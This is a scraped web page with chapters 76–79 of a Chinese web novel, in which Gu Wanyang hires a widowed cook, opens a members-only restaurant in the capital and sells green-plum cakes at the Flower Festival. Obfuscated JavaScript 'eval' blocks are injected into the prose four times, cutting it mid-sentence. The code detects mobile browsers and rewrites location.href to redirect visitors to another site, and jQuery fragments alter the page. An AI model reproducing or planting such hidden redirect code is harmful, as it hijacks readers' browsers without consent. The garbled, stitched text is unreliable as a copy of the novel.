;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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顾宛央接过筷子，夹了一筷子土豆丝，她仔细又看了几眼，土豆丝的确切得非常好，再将土豆丝送入口中，酸酸辣辣的口感让她的味蕾得到极大的满足，土豆丝脆爽可口，咸淡正好，吃了一口让人还想吃第二口。 “如何？”张玉娘充满期待的眼神，看着顾宛央。 顾宛央点点头，说道：“不错，你跟我来。” 顾宛央将张玉娘带出后厨，将手上的土豆丝递给在干活的小桃，说道：“小桃，尝尝这道酸辣土豆丝。” 小桃眼前一亮，刚刚她在外面就闻到香味了，原来是这道菜。 吃了一口土豆丝，小桃的大拇指竖了起来，接着便去找陈大爷和陈大娘分享去了。 “玉娘，坐。”顾宛央带着张玉娘找了张桌子坐了下来。 “你现在可以告诉我你的故事了。”顾宛央说道。 张玉娘愣了一下才反应过来，她有些不敢相信，确认道：“顾老板，你的意思是我这道菜通过考核了吗？” 顾宛央笑着点头，说道：“是的，你通过了。” 等了三天，顾宛央终于等到了，她可以不用亲自上阵了，只是，玉娘会有什么故事呢？顾宛央想到这，一颗刚刚有些喜悦的心又提了起来。 76. 第 76 章 张玉娘平复了一下激动的心情，她斟酌着开口：“顾老板，我没有自己开过小食肆，更没有在酒楼做过大厨。” 说到这，张玉娘忐忑地看了顾宛央一眼，见她脸上并没有什么表情，但也没有不满意的意思，于是鼓足勇气接着说道：“我从十几岁开始就在一家大户人家中做帮厨，一直学一直做，直到做上主厨。” 顾宛央点点头，示意她继续说道。 “我二十岁成亲，生了个男孩，二十五岁做了主厨直到年前。”张玉娘把自己的情况一五一十地交待清楚。 “那为何现在不在那户人家中做了呢？”顾宛央问道。 听到这个问题，张玉娘的表情慢慢开始悲伤和气愤起来，她咬了咬嘴唇说道：“去年冬天，我丈夫染上重病去世了，等我办完丧事回去继续干活的时候，府里就传出我是丧门星的流言蜚语，说是我把丈夫克死了，主人家也不敢留我了，就把我辞了。” 说到这，张玉娘的眼圈已经红了，但她依旧死死忍住没有流出眼泪来。 “荒唐，什么克不克的，简直就是一派胡言。”顾宛央倒是忍不住开口骂了起来。 一听顾宛央此话，张玉娘再也忍不住流下泪来，自从丈夫离世后，她就被人指指点点，没有一个人站在她这边帮她说过话，没想到一个陌生人居然为她发声。 “我家中除了一个八岁的儿子，还有个生病要长期吃药的婆婆，我被辞退后没有了收入，去了好多家酒楼找工做，他们见我是女子，都不肯收，我没办法只能找临工做，但太不稳定了，我已经有一个多月没找到活干了。”张玉娘一边抹泪一边说着。 “别哭，你看这不是找到活干了吗，若是你愿意，可以来我这里做大厨，可能会辛苦一些，但若是赚钱了，我不会亏待你的。”顾宛央说道。 张玉娘掏出帕子擦干眼泪，说道：“我不怕辛苦，我也喜欢做这一行，谢谢你顾老板，能收留我就已经感激不尽了，至于工钱，你先看着给，你刚刚开这个酒楼开销肯定也是很大的，等时间长了，你看生意情况再说，我也希望你的酒楼能长期地开下去，我也能稳定地做下去。” 顾宛央一听这话，倒是对张玉娘另眼相看，她没有因为穷苦而狮子大开口，而是能体谅顾宛央刚刚开业的不容易，是能考虑到长远的打算，而不是贪图一时的小利，顾宛央对眼前这个年轻女子印象挺好。 “放心，我会根据其他酒楼给到厨师的工钱给你的，我们一起努力，如果生意做的好，而且顾客对你做的菜品大部分都满意的话，年底还会有分红。”顾宛央笑着说道，对于能共同吃苦的人，她没有理由对人家不好。 “真的？”张玉娘喜出望外，听到可以拿到跟其他酒楼厨师一样的工钱已经非常开心了，没想到年底还有分红。 顾宛央笑着点头，突然想起来问道：“对了，你为何在那么多食材里面挑选土豆来做呢？” “因为做酸辣土豆丝是最快的。”张玉娘愣了一下，没想到顾宛央会问这个问道。 “哦？为什么要做最快的菜？”顾宛央疑惑地问道。 张玉娘有些不好意思地开口：“我不能在这里耽搁太长的时间，时间也不早了，得回去给婆婆和孩子做饭。” 顾宛央以为她是在炫技，但没想到她的想法那么朴实简单，有些汗颜，果然有些话该问还是得问，不能脑补。 “对了，我们酒楼是做中午和晚上两顿饭的生意，你若是来做工的话，你婆婆和孩子怎么办？”顾宛央问道。 “我上午就把一天的饭给他们做好，我婆婆热一下就能吃了，今天是因为出来找工，所以就没准备，打算到时间就回去做饭的。”张玉娘赶紧说道，表示自己不会耽误做工。 顾宛央点点头，这样安排确实可以，只要她婆婆不是卧床不能起来，热一下饭还是可以的，她开口问道：“你婆婆还是能自理的吧？没有卧床不起吧？” “顾老板你放心，我婆婆只是体弱多病，不能过于劳累，没有瘫痪在床，她不会拖累我的。”张玉娘有些紧张的答道，生怕顾宛央会因为她有孩子有老人，误解她不会全力以赴地干活。 “好，那我明白了。”顾宛央得到确切的答案也心定了。 “顾老板，那我什么时候可以过来上工了？”张玉娘问道。 “叫我宛央就好了，不用那么客气，以后我们就要一起努力了。”顾宛央纠正道，然后想了想继续说道：“明天我就让伙计去邀请第一批客人，后天正式开业，你明天也可以准备准备，家里有什么事情要做的都做一做，后天上工以后就会很忙了。” “诶，好，好，宛央。”张玉娘连连应下来。 顾宛央把张玉娘送出去，看着她的消瘦的背影，好像比刚刚来的时候挺拔了许多。 最难解决的厨师问题解决了，顾宛央整个人精神了起来，她熬夜将会员卡给设计完了，看着一张张精致的会员卡，小桃连连惊叹：“宛央姐，你太厉害了，这小卡片真好看，我也想要一张。” “你要这做什么，你可以刷脸。”顾宛央笑了出来。 “刷脸？什么是刷脸？”小桃疑惑不解地问道。 “就是凭你这张脸，可以在这随心酒楼随便吃什么都可以，而且是免费的哦，有了这张卡片还是要付钱的。”顾宛央捏了捏小桃的圆脸说道。 “嘿嘿，那敢情好，那我不要这个小卡片了。”小桃一听到吃什么都可以，顿时也不要这种虚的东西了，实在一点最好。 顾宛央把新招来的伙计派了出去，每个留下联系方式的客人都有一张会员卡和使用说明书以及开业的邀请函，请他们过来捧场。 一切准备就绪，随心酒楼如期开业，大红绸带将大门整个包裹起来，显 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116601|158165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得非常喜气，陈大爷去请来的舞狮队在酒楼门口舞了一上午，直到中午吉时，鞭炮大响，随心酒楼正式开张了。 拿到会员卡的第一批客人，本就是因为认可顾宛央的厨艺，所以才会留下联系方式的，如今见顾宛央行事迅速，没过几个月居然就把酒楼真的开到了京都，于是纷纷过来捧场。 顾宛央将开张第一天的招牌菜名挂在了酒楼门口，只有一道招牌菜那就是香辣猪尾，顾宛央给这道菜取了个好听的名字“辣尾飘香”。 吉时一到，早已等候在外面的客人们被伙计有序地或带入二楼包厢，或带到一楼大堂就坐。 顾宛央不需要盯在厨房里，就有时间张罗招呼客人，见会员客人至少占了今日来客的一大半，但也还是有新的客人来凑热闹的。 因二楼包厢只有会员卡的客人才能入座，所以新的客人全都集中在大堂，顾宛央等人都坐满了以后，将二楼包厢的使用规则给大家解释了一下，然后再解释了一下招牌菜只能是有会员卡的客人才能点。 新客们虽不理解但也尊重，这些客人之间也有互相认识的，顿时有会员卡的客人觉得心情非常舒坦，脸上也有光彩，那些新客人也没当回事，都是店家弄出来的噱头，能不能有回头客还是得实打实地靠菜品，如果菜做的不好，那再多的噱头或者是价格再便宜，也不会有回头客的。 顾宛央招呼完客人，就回到厨房开始做今天的招牌菜，点菜的伙计早已麻利地将需要几份招牌菜告知了后厨。 顾宛央算了一下，来的那些会员客人都点了招牌菜，因为她给会员客人送去的使用说明书里，明确地表示只有招牌菜是自己做的，可能新来的客人不了解这道菜的含金量，但那些因为她的厨艺而来的客人，怎么可能错过这个机会。 也只有京都这样的大城市，才能一次买到这么多猪尾巴，也亏得是只有会员才能点，否则根本不够做那么多份的。 将猪尾巴上在柴火上烧一圈去除杂毛，用刀刮干净然后用水冲洗干净，放入凉水中焯水捞出，再将焯过水的猪尾巴上蒸锅蒸熟。 蒸熟后的猪尾巴切成段备用，帮厨已经将这道菜的配料准备好，顾宛央吩咐烧灶火，准备开始烧这道香辣猪尾巴。 张玉娘和小桃各自负责的菜品都陆陆续续地上菜了，顾宛央并不着急自己这道招牌菜做的比较慢，越是招牌菜越是要晚点上，最好让大家其他菜都吃过了，最后再上，否则一开始就吃了这道招牌菜，怕是对后面的菜就没这么想吃了。 起锅把油烧热了，顾宛央将姜蒜片和干辣椒八角放进去爆香，再把切成小段的猪尾倒进去翻炒，加入料酒酱油和盐进去一起翻炒。 猪尾和调料充分融合在一起，散发出诱人的香味，猪尾是蒸熟过的，所以不用再加水炖煮，只需翻炒几十下，猪尾的颜色变成酱红色便可以撒上一把葱花出锅了。 77. 第 77 章 大堂里的客人们已经吃得热火朝天了，小桃得到顾宛央的真传，人聪明悟性又高，专门学的这几个菜，虽然比不上顾宛央，但也比其他酒楼的厨师高出一大截来。 张玉娘一路从帮厨做到主厨，厨艺自是经过了重重考验才能做到，她比小桃的厨艺还要略胜一筹。 这两位大厨的手艺已经惊艳了在座的食客，在顾宛央做的香辣猪尾还没上席前，就已经得到了食客们的认可。 “招牌菜辣尾飘香上菜！” 随着陈大爷一声吆喝，就见伙计们端着热气腾腾香气扑鼻的菜品，分别往会员客人那些桌上送。浓郁的香味从一桌一桌食客旁边飘过，引得人不得不行注目礼。 香辣猪尾端上会员客人桌，就听得旁边桌有人在议论：“咦，这不就是猪尾巴吗？” “是啊，猪尾巴这种菜也好意思叫招牌菜。” “呵呵，这噱头搞得好失败。” “可是，好香哦。” “真的很香，说不定这猪尾巴烧的很好吃呢。” “那就不知道了，你我都不是会员，只能问问旁边那桌会员桌了。” 坐在一旁会员客人桌上的陆三爷听到这些议论，一脸的不屑，他的会员编号是零零一，因为他是第一个留下联系方式的人，他也是最积极鼓动顾宛央来京都开酒楼的人。 昨日收到顾宛央的会员卡和邀请函，他呼朋唤友喊了四五个人过来捧场，只可惜慢来了一步，没能坐上二楼包厢，就只能在大堂坐了下来。 陆三爷听到了旁边的议论，他带来的朋友自然也听到了，虽然刚才上的菜他们都吃的很满意，但看着眼前这盘招牌菜，还是有些迟疑不敢下筷子。 陆三爷可不管这么多，拿起筷子夹了一段猪尾巴放进嘴里，他自从上次去随心小食肆吃过顾宛央做的菜，便一直都心心念念惦记着，要不是这段时间过年忙得很，他早就再一次去那个小食肆了。 刚刚上的菜品确实不错是很好吃，但陆三爷都只是浅尝即止，他只想留着肚子吃顾宛央做的菜。 猪尾入口软糯弹牙，陆三爷无声长叹，果然大厨就是大厨，这厨艺水平简直登峰造极，不枉费他留着肚子等这道招牌菜。 食材虽是平常人看不大上的猪尾，但陆三爷觉得比山珍海味都要好吃，香辣的口味使得筋道的猪尾肉更加有丰富的口感，咸鲜适中、香气浓郁，关键是火候控制的正正好，猪尾不会太软没有嚼劲，又不会太硬咬不动。 陆三爷三两口就将一段猪尾啃得干干净净，接着又伸出筷子夹了一段，他也顾不上招呼朋友一起吃，他们不吃正好，自己可以多吃点。 他的这群朋友见陆三爷吃得津津有味，特别是坐在陆三爷旁边的人，看着他吃了一段猪尾，跟着咽起口水来。 不知道是谁在陆三爷夹第二段猪尾的时候，也伸出筷子去夹了一块，于是乎这一桌的所有人的筷子都纷纷伸向这盘招牌菜。 在吃上招牌菜的一瞬间，这一桌子的人都不吭声了，大家伙都沉浸在这道菜的美味中，有人不太能吃辣的，直吃得头上冒汗，连声的斯哈斯哈都不肯停下来。 好在顾宛央这道招牌菜的量算大的，满满的一大盘子，翠绿的葱段、火红的红酱红色辣椒点缀着酱红色的猪尾段，看着就诱人。 坐在旁边桌子的人闻着香味，看着陆三爷跟他的朋友们埋头苦吃，有人忍不住小声说道：“感觉很好吃的样子啊。” “是啊，你看他们吃的都不说话了。” “哈哈哈，那人右手明明拿着一块在啃，左手还要再拿一个，生怕少吃了。” “你们谁去问问那桌，到底好不好吃啊？” 会来酒楼的客人一般都是美食爱好者，让他们这样干看着却吃不到，着实是挠人心肝似的。 “问什么，我去办个那个叫什么来着的会员卡不就行了。”一个穿着墨色长衫的年轻公子说道。 众人一听赶紧起哄：“还是杨公子大气！” 杨公子一伸手招来伙计，说道：“我要办你们那个会员卡，点你们的招牌菜。” 顾宛央的招牌菜已经做完，所以她待在厨房也没事，就从厨房走了出来，想看看今天食客吃的满意不满意，这也是顾宛央为何要把自己抽身出来，不能一直待在厨房的原因。 伙计也很机灵，满脸是笑地说道：“您稍候，我把老板喊过来。” 顾宛央已经注意到这边的情况，伙计刚讲完这话，她便走了过来。 “老板，这位公子要办会员卡。”伙计简单地转述。 “嗯，你先去忙吧。”顾宛央点头，转身对杨公子说道：“公子，抱歉，现在酒楼还不能办会员卡，需等过段时间才行。” “咦，那他们那些会员卡是哪里来的？”杨公子不满地说道。 “这是敝店的老食客，所以才有会员卡。”顾宛央笑着说道。 杨公子有些摸不着头脑，环顾了一圈说道：“我们不都是第一批客人吗？难道你今天不是第一天开业？” “是第一天开业，但能拿到会员卡的，都是以前来过我在齐中县开的小食肆的贵客。”顾宛央不疾不徐地解释道。 “哦？原来老板以前还开过食肆呢？” “是啊，这姑娘年纪好轻啊，居然还不是第一次开店。” “那就怪不得人家能拿到会员卡，都是老食客。” “哎呀，我怎么就以前不知道这家小食肆呢。” 杨公子泄了气，是啊，谁让他以前不知道这老板还有食肆呢。 顾宛央已经做好了被挑衅刁难的准备了，谁知眼前这位小公子突然叹了口气就不说话了，这倒是让她有些意外，京都的人倒也不是那么刁蛮。 “不过呢，若是哪位拥有会员卡的贵客，愿意为你点一份招牌菜的话，也是可以的。”顾宛央大声说道，她就是要让大家伙都听见，就是要让会员食客脸上有光，让拥有随心酒楼的会员卡成为身份 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“陆三爷，你若是能帮这个忙，那你上次说的事，我明儿就给你办了。”秦五爷见陆三爷犹豫，立马抛出大招。 陆三爷一听，面上虽然还是犹犹豫豫，但心里却是极为高兴，这个秦老五，托他办个事拖拖拉拉的，这回总算是要求到我头上了吧，就知道你这个老饕经不住美食的诱惑，所以刚刚才没有一口答应。 “怎么样，陆老三，你倒是说句话呀，我那边还有朋友等着呢。”秦五爷一边瞄着桌上那道香辣猪尾，一边着急地问道。 “行吧，那就得劳烦顾老板再去做一份了。”陆三爷终于答话了，对着顾宛央说道。 “这就去给您做，请稍候。”顾宛央等陆三爷说出这句话，这才点头应允，这个面子就是让会员去赚的，这不，陆三爷凭着这张会员卡就轻易解决了他的问题。 78. 第 78 章 今天凡是吃过招牌菜辣尾飘香的人，都心满意足地出了酒楼，而没吃到的人就好像错过了一大笔银钱一般，内心十分不甘。 所有人都在问会员卡怎么办，什么时候办，而顾宛央的回答则是，短期内是办不了，若是想尝招牌菜，则可以找已经有会员卡的贵客去。 这般奇特的规矩，让随心酒楼的大名迅速传扬开来，总有好奇的人会上门来看看这到底是怎样一个酒楼，只要进了酒楼的人，便大概率会被这里的美味所倾倒。 虽然顾宛央只做招牌菜，但张玉娘和小桃做的菜品，她也会提出改进意见，指导她们怎么做才能更好吃，所以，两人的厨艺越来越好，做出来的菜品更加美味。 没过多久，随心酒楼的会员卡便一卡难求了，这会员卡不仅可以吃到美食，现在已经成为了身份的象征，第一批会员已经凭着这张小小的木头卡片，不知道办成了多少之前难办的事情，而这也是顾宛央所预见到的，也是她想要的效果。 不久，随心酒楼的会员卡虽然是能办了，可是条件非常苛刻，不仅要事先缴纳一笔叫什么会员费的一千两银子，还要承诺替酒楼老板办成三件事情，至于是什么事情，等有事了才知道。 京都多的是能出得起一千两银子的人，但后面那个条件，不是人人都敢应允的，故而虽有人办成，但也很少，所以随心酒楼的会员除了第一批免费赠送的，其他的会员非富即贵。 顾宛央就是要随心酒楼的会员卡越少越好，越少就说明越珍贵，不设置这些门槛，人人都能办的起，那就没有所谓的尊贵的会员了。 酒楼的生意一天比一天好，顾宛央只做招牌菜，所以也不累，更多的精力就放在了管理运营上面。时不时地这道菜打个折，三天两头地更换一下招牌菜，或是会员生辰当日可以免单之类的，把这些食客们的兴致吊的高高的，一日不来一趟随心酒楼，就好似要吃亏了一样。 随心酒楼营业不到一个月，就把一年的成本给赚回来了，顾宛央一边算着账一边喜笑颜开。 “宛央，算什么呢算得这么开心。”张玉娘忙完厨房的事情，正准备要收拾收拾回家，看顾宛央咧着嘴在笑，不由调侃道。 “玉娘，马上发工钱了，这个月赚了不少，不用等到年底分红，这个月开始就能分红了！”顾宛央抬起头笑眯眯地对着张玉娘说道，这一个月玉娘干活非常卖力，做出来的菜品也让食客很满意，所以不用等到年底，现时奖励才能激发员工最大的工作热情。 果然，张玉娘一听顾宛央的话，也不由咧嘴笑了起来：“确实应该开心，谢谢顾老板。” “行了，快回家去吧，小宝和你婆婆要记挂你了。”顾宛央笑着轻拍了一下张玉娘说道。 “说来也奇怪，自从我在随心酒楼做工以后，我婆婆的身子一天比一天好起来，能帮我带孩子，还能做点家里的活，我轻松多了。”张玉娘说道。 “那说明你与这酒楼有缘。”顾宛央也觉得不可思议，大抵是生活有了盼头，心情好起来后，身体也会随之好起来的吧。 “对了，宛央，马上要花朝节了，你有什么打算？”张玉娘突然想起来这件事情，本应该昨日就跟她说的，忙得都忘记了。 “花朝节？是什么？”顾宛央疑惑地问道，她好像没听说过。 “哦，对了，你是刚刚到京都的，还不了解情况，这花朝节是京都很重要的一个节日，过完年后第一个大节日，所以大家都很重视。”张玉娘解释道，“这是一个祭祀花神的节日，传说花神是专管植物春长夏养的，所以要祈祷百花之神保佑这一年的风调雨顺。” “原来是这样。”顾宛央点点头，倒确实是个重要的节日，农耕年代特别信奉祭祀祈福，因为这是人们最为重要的收成了。 “去年朝廷派出去的大军攻打北真，据说大获全胜，正准备反攻北真，打算乘胜追击一举收复失地，所以今年的花朝节，朝廷已经下令要在南郊的皇家寺庙大办，一方面为远征的将士祈福，另一方面就是祭祀百花神，皇上和皇后都要去呢。”张玉娘将听来的消息告诉顾宛央，这还是她家那个给宫中送菜的邻居传出来的消息。 “这与我们有何关系？”顾宛央问道，自己这种小老百姓怕是见不到皇帝皇后的。 “当然有关系，每年的花朝节，朝廷都会举办祭祀祈福活动，要么在郊外的花田溪边，要么在市集街巷，到了那一天，会有很多小摊摆出来的，卖小吃糕点的、首饰小东西的，反正只要你有卖的东西，就可以去摆摊呢。”张玉娘说道。 “所以，我们也可以做些糕点小吃拿去摆摊卖？”顾宛央豁然开朗，这倒是可以有，花朝节人肯定很多，把自家酒楼的名牌带上，也相当于做一次免费推广，顺便还挣点钱。 “对呀，像今年这般隆重地在皇家寺庙还是第一次，说不定皇上和皇后尝了我们做的糕点，一高兴就赐个名呢。”张玉娘沉浸在美好的幻想中。 “不对呀，我们哪里进得去皇家寺庙呢？”顾宛央提出了疑问。 “皇家寺庙我们自然进不去，但朝廷会在寺庙的外围圈出一块地方办的，你想呀，能建皇家寺庙的地方自然是风水宝地，而且风景秀丽，外围有山有水有溪有湖，正是办花朝节活动的好地方。”张玉娘说道。 能让她们这些老百姓一起参加就行，管它在哪里呢，只要人多的地方就好，顾宛央暗自点头。 “那我们也去凑凑热闹。”顾宛央笑着说道。 “好啊，我也是这样想的，那得想想做什么去摆摊。”张玉娘说道。 “嗯，还有几天时间，我们再想想，不着急，你快回家去吧。”顾宛央说道。 张玉娘也知道耽搁了不少时间，赶紧收拾好东西就回家去了。 接下来的几天，顾宛央特地留意酒楼食客们的闲聊，今年的花朝节自然是热门话题，按陆三爷的话说起来，皇家主办花朝节那可是开天辟地头一遭。 “陆三爷，这消息可保真？” “是啊，花朝节虽然是大节日，但也只是我们老百姓过的，皇室怎么会主办 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆三爷似乎受到了侮辱，一口气又干了一杯，说道：“我的消息千真万确，那小王爷当真是拿命拼出来的，你们知道南夏大军是如何把北真打败的吗，就是这位小王爷带了八百骑兵偷袭北真军营，烧毁敌军粮仓，敌军死伤严重，我们就把他们赶回了北真境内。” “好神勇！” “我相信三爷的话！” “是啊，前线大胜是事实，我们大夏多了一位战神，那是天大的好事啊。” 顾宛央听得也是很激动，她仿佛看到了战场上激烈的打斗，获得大胜时大军的欢呼。 “诸位，为了大夏的胜利以及统一大业，我们干杯！”陆三爷举起酒杯对着大堂的所有人说道。 众人被陆三爷的气势所感染，纷纷端起酒杯，大声附和一饮而尽。 顾宛央也倒了一杯酒，一饮而尽。 79. 第 79 章 花朝节这日，原本寒意十足的天气，居然意外地暖和，太阳早早就爬了上来增添一份暖意。 人们终于可以脱下厚厚的棉衣，各种颜色鲜艳地春衣穿上了身，今天虽然不是店休日，但顾宛央还是决定休息一天，去凑花朝节的热闹。 张玉娘告诉顾宛央花朝节的习俗之一是要吃花糕，以往的花朝节活动摆摊卖桃花糕的人不少。 既然知道很多人会卖桃花糕，那顾宛央就不打算做桃花糕了，她发现酒楼后院的那棵绿梅开得正好，按道理往年这个时候应该梅花都谢了的，但今年不知为何，这株绿梅是等顾宛央一行人入住后才慢慢开始发芽开花的，此时正是花开正艳的时候。 绿梅品种珍贵，种植较难，所以不像红梅那般普遍，难得酒楼种植了一株绿梅，而且还开得如此之好，白绿相间的小花朵清新淡雅香气浓郁，让人看着就赏心悦目，惹人怜爱，顾宛央不舍得看它逐渐枯萎凋零，那就在它最美丽的时候做成美食吧。 顾宛央指挥着张玉娘和小桃一起，将开得正盛的花朵摘了下来，放入水中浸泡清洗。 顾宛央不想做普通的糕点，经过这一个月的时间，顾宛央非常确定京都不缺有钱人，他们对美食的要求标准更高，非常注重品质，所以一般做法的糕点恐怕入不了那些贵人们的眼，她也不能砸了自己的招牌。 想起开随心小食肆的时候，做过一款牛乳糕，顾宛央便打算用牛乳来做这款绿梅糕，牛乳价格昂贵但做成糕点着实美味，若是再加上这绿梅的香甜，那则是双重的美味。 绿梅花瓣娇嫩，顾宛央轻轻地揉搓，将花瓣上的灰尘洗落后再将其晾干，然后吩咐小桃将花瓣裹上纱布用石臼捣碎，取出其汁水来。 绿梅的汁水呈嫩绿色，过滤后与牛乳混合在一起后，加入些许糖搅拌均匀，然后倒入粘米粉中搅拌，直到和成一个大团子。 再将大团子分成一个个的小剂子，压入梅花造型的模具中，便可形成一块块漂亮的绿梅糕，再将绿梅糕上蒸锅蒸熟，锅盖揭开的刹那，米香梅香和牛乳香交织在一起，香气扑鼻。 出锅的绿梅糕呈淡绿色，梅花模具印刻使得它真如一朵盛放的绿梅，顾宛央在每一块绿梅糕上，仔细地插上一朵刚摘下来的新鲜绿梅花朵，真假绿梅相互辉映， 看着用剩下的绿梅花，顾宛央大手一挥，打算做梅花酿，于是她手脚不停歇地酿了几坛酒，放到厨房角落等着出酒。 “要是瑾修哥在就好了，他最喜欢这些花酿果酿了。”小桃看着酒坛子，幽幽地来了一句。 顾宛央酿酒的时候何尝没有想到过李瑾修，甚至有几次幻觉他凑过来要闻酒的香味，只是，来了京都一个月了，依旧一点消息都没有，按理说她酒楼的名字依旧是叫随心，而且她这么多奇特的规矩，他若是在京都的话，不可能一点都不知道。 罢了，再等等吧，说不定今日的花朝节能有收获呢，顾宛央深吸一口气默默地想着。 张玉娘正想好奇地问瑾修哥是谁，但见顾宛央并未吭声，而且脸上神色也是落寞惆怅，便及时收住了话头，笑着说道：“时间差不多了，我们出发吧。” “好哦，出发啦，逛花朝集市去啦。”小桃一扫刚刚的低沉，欢欣雀跃地说道。 顾宛央看了欢快的小桃一眼，心情突然好了一些，今日天气暖和阳光正好，很适合郊游！ 顾宛央带着张玉娘、小桃和陈家二老一起，雇了一辆马车，将摆摊的东西搬上去，往南郊皇家寺庙方向走去。 一路上，行人皆是往那个方向走，熙熙攘攘的人群行走速度并不快，顾宛央没想到花朝节居然有这么多人参加。 到了南郊后，便有朝廷派的人手在维持秩序，皇家寺庙是建在南郊青藤山的山腰处，今日早有官府的人在青藤山的山脚下圈出地方，以作为花朝节祭祀祈福的集市用。 果然如张玉娘说的，青藤山脚下有山有树、有溪有湖，还有花海，那叫一个风景秀丽，此时集市已经非常热闹了，各种小摊也出了一半。 顾宛央几人找了一株桃花树，就在树荫底下将花糕小摊支了起来，等他们安顿下来没多久，皇家寺庙的祈福和祭祀就开始了。 山脚下的众人纷纷仰头，看向山腰的寺庙处，就能瞧见寺庙门前的开阔处已经开始摆满了祭祀和祈福用的用具物品。 顾宛央也跟着仰头往半山腰看，远远地看见身着龙袍的皇上和佩戴凤冠的皇后身影，两人携手向天祈福，伴随着阵阵鼓声以及礼官的颂吟声，两人完成了祭天和祈福的仪式。 山脚下的民众们自发地欢呼鼓掌起来，因为战争大胜，没有人不高兴的。 皇上和皇后举行完仪式后，便进了寺庙，据说还要祭拜祖先叩拜佛祖，这一整套的流程下来，估计得花不少时间。 不过，民众花朝节的集市这才正式开始，完成了祈福的人们开始各种游玩和逛摊。 顾宛央将随心酒楼的招牌拿出来放在小摊的旁边，果然，很多人看到这个招牌便围了过来。 “咦，随心酒楼在卖糕点呢。” “是啊是啊，快去看看。” “我这个月内听了好多人提起这个酒楼的名字了，她家真有这么好吃吗。” “你现在去尝尝不就知道了。” “这糕点不知道需不需要会员卡才能买呢？” 顾宛央听得真切，朗声说道：“诸位，今日随心酒楼售卖的是牛乳绿梅糕，是敝人亲自所做，无需会员卡即可购买，大家不要错过了。” 一听顾宛央的话，原本还在围观的人群，顿时纷纷开始掏银子买糕点了。 陈大爷和小桃赶紧维持秩序，让需要购买的人排队，张玉娘负责收钱售卖，陈大娘和顾宛央就负责与客人交流沟通，五人迅速都找到了自己的位置，甚至他们一分钟前都不知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129581|158165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己要做什么。 “咦，这梅花糕如何是浅绿色的？” 顾宛央笑着答道：“因是用绿梅所制，故是浅绿色。” “原来如此，只是绿梅珍贵，况且现在只有桃花开得正艳，绿梅怕是花谢了吧。” “倒也是巧，随心酒楼后院有一株绿梅开得正好，所以就做了绿梅糕。”顾宛央耐心地跟排队的人闲聊。 “我就说随心酒楼这地方风水好吧，绿梅都能开那么久。” “是啊，今天有口福了，放眼望去卖花糕的小摊都是桃花糕，只有这里是梅花糕，而且还是绿梅糕。” 说话间，排在最前面的人已经吃上这个牛乳绿梅糕了，刚入口便感受到了绿梅的香甜，牛乳的浓郁，忍不住说道：“这绿梅糕加入牛乳味道可比一般的花糕好多了，口感丰富了不少。” “贵客是懂得品鉴的，牛乳奶香浓郁，加入其中能使米糕口感松软、筋道弹牙。”顾宛央笑盈盈地说道。 被随心酒楼的老板夸赞懂得品鉴，这人脸上立刻露出自得的神色来，一边吃一边不停地继续夸赞。 顾宛央见众人吃得满意，心中也欢喜，她一边与人聊天一边环顾着四周，希望心中所想的那人突然就会出现在眼前。 只是，那人并没有出现，倒是一名十三四岁身着华丽的小姑娘小跑着撞进了顾宛央的眼底。 “七小姐，您慢点，等等我。”小姑娘身后跟着两名侍女一边追着，一边喊着。 顾宛央看着那小姑娘跑着跑着便直直地跑到了自己的小摊前，面露好奇的神色看着小摊上的绿梅糕，娇憨地指着那些精致漂亮的糕点，问顾宛央：“姐姐，这是什么？又香又好看呢。” 应是哪家贵族小姐出来逛市集的吧，顾宛央微微打量了一下眼前的小姑娘，小小的圆脸上一双灵动的眼睛，小巧的鼻子直俏俏地挺立着，嘴巴已经在咽口水了，顾宛央蓦然对她有种熟悉的感觉，真面善呢，好像在哪里见过。 “这是牛乳绿梅糕。”顾宛央答道。 小姑娘身后的侍女已经跟了上来，一左一右护住了她，其中绿衣侍女低声说道：“七小姐，不能乱跑，万一奴婢一个没看着怎么办。” 顾宛央跟着点头，心中暗想小姑娘确实不能乱跑，万一被人拐了怎么办。 七小姐嘟着嘴，不满意地说道：“我哪里乱跑了，我是看这个小摊子前面排了那么多人，肯定有好吃的，所以就快走了一步，谁让你们不赶紧跟上的。” “是，七小姐说的是，是奴婢们走的慢了。”绿衣侍女低头认错。 